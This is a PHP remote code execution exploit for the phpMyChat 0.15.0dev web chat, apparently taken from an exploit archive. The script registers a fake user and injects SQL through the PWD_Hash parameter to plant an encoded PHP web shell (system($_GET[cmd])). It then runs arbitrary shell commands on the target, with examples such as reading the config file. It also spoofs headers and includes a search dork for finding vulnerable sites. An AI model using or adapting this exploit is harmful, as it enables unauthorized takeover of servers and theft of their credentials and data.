============================================================= phpMyChat 0.15.0dev (SYS enter) Remote Code Execution Exploit ============================================================= #!/usr/bin/php -q -d short_open_tag=on works with magic_quotes_gpc=Off\r\n\r\n"; echo "dork: intext:\"2000-2001 The phpHeaven Team\" -sourceforge\r\n\r\n"; if ($argc<4) { echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n"; echo "host: target server (ip/hostname)\r\n"; echo "path: path to PHPMyChat\r\n"; echo "cmd: a shell command\r\n"; echo "Options:\r\n"; echo " -p[port]: specify a port other than 80\r\n"; echo " -P[ip:port]: specify a proxy\r\n"; echo "Examples:\r\n"; echo "php ".$argv[0]." localhost /phpmychat/ cat ./config/config.lib.php\r\n"; echo "php ".$argv[0]." localhost /phpmychat/ ls -la -p81\r\n"; echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n"; die; } # explaination: # # only modified this one: # # http://retrogod.altervista.org/phpmychat_0145_xpl.html # # actually I tested this package: # # http://prdownloads.sourceforge.net/phpmychat/phpMyChat-0.15.0-dev20050206.tgz?download # # code is no properly patched 'cause, if magic_quotes_gpc = Off, you can inject # an "always true" statement in PWD_Hash argument error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } $host=$argv[1]; $path=$argv[2]; $action=$argv[3]; $cmd="";$port=80;$proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } $cmd=urlencode($cmd); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} #step 1 -> Register, we need an online user srand(make_seed()); $anumber = rand(1,99999); $data="FORM_SEND=1"; $data.="&L=italian"; $data.="&U=suntzu".$anumber; $data.="&pmc_password=suntzoi".$anumber; $data.="&FIRSTNAME=suntzu"; $data.="&LASTNAME=suntzoi"; $data.="&GENDER=1"; $data.="&COUNTRY="; $data.="&WEBSITE="; $data.="&[email protected]"; $data.="&SHOWEMAIL=0"; $data.="&submit_type=Registrati"; $packet ="POST ".$p."chat/register.php HTTP/1.0\r\n"; $packet.="X-Forwarded-For: 127.0.0.1\r\n"; //spoof , a nice ip value for c_regusers table $packet.="Content-Type: application/x-www-form-urlencoded\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cookie: CookieLang=italian;\r\n\r\n"; $packet.=$data; #debug #echo quick_dump($packet); sendpacketii($packet); #step 2 -> Login $packet ="GET ".$p."chat/loader.php?From=..%2FphpMyChat.php3&L=italian&Ver=H"; $packet.="&U=suntzu".$anumber."&R=Default&T=1&D=10&N=20&ST=1&NT=1&PWD_Hash=".md5("suntzoi".$anumber)."&First=1 HTTP/1.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cookie: CookieLang=italian; CookieUsername=suntzu".$anumber."; CookieRoom=Default; CookieRoomType=1\r\n\r\n"; #debug #echo quick_dump($packet); sendpacketii($packet); #step 3 -> SQL Injection, let's store a shell in c_messages table $L="L=english"; $U="U=SYS%20enter"; $T ="0,"; //type $T.="CHAR(68,101,102,97,117,108,116),"; //room (Default) $T.="CHAR(83,89,83,32,101,110,116,101,114),"; //username (SYS enter) $T.="0,";//latin1 $T.="9999999999,";//m_time $T.="1,";//address //message (our encoded shell -> system($_GET[cmd]);die ) ,if system() is disabled, reencode a new one with passthru() or exec() //u can use an unlimited number of chars for this $T.="CHAR(115,121,115,116,101,109,40,36,95,71,69,84,91,99,109,100,93,41,59,100,105,101))/*"; $T="T=".urlencode($T); $PWD="'or'a'='a' UNION SELECT c_users.room, c_users.status, c_users.ip FROM c_users, c_reg_users WHERE 'a'='a' LIMIT 1/*"; $PWD=urlencode($PWD); for ($i=0; $i<=1; $i++) //redo { srand(make_seed()); $anumber = rand(1,99999); $R="R=Default".$anumber; //random, it must be different from the previous one $packet ="GET ".$p."chat/messagesL.php?$L&$U&$T&$R&PWD_Hash=$PWD HTTP/1.0\r\n"; $packet.="X-Forwarded-For: suntzuuuuuuu\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; #debug #echo quick_dump($packet); sendpacketii($packet); } sleep(1); #step 4 -> shell is passed to an eval(), so we launch commands $packet ="GET ".$p."chat/messagesL.php?L=english&R=Default&N=9999&T=0&U=SYS%20enter&cmd=".$cmd."&PWD_Hash=$PWD HTTP/1.0\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; #debug #echo quick_dump($packet); sendpacketii($packet); echo $html; ?> # 0day.today [2018-04-08] #

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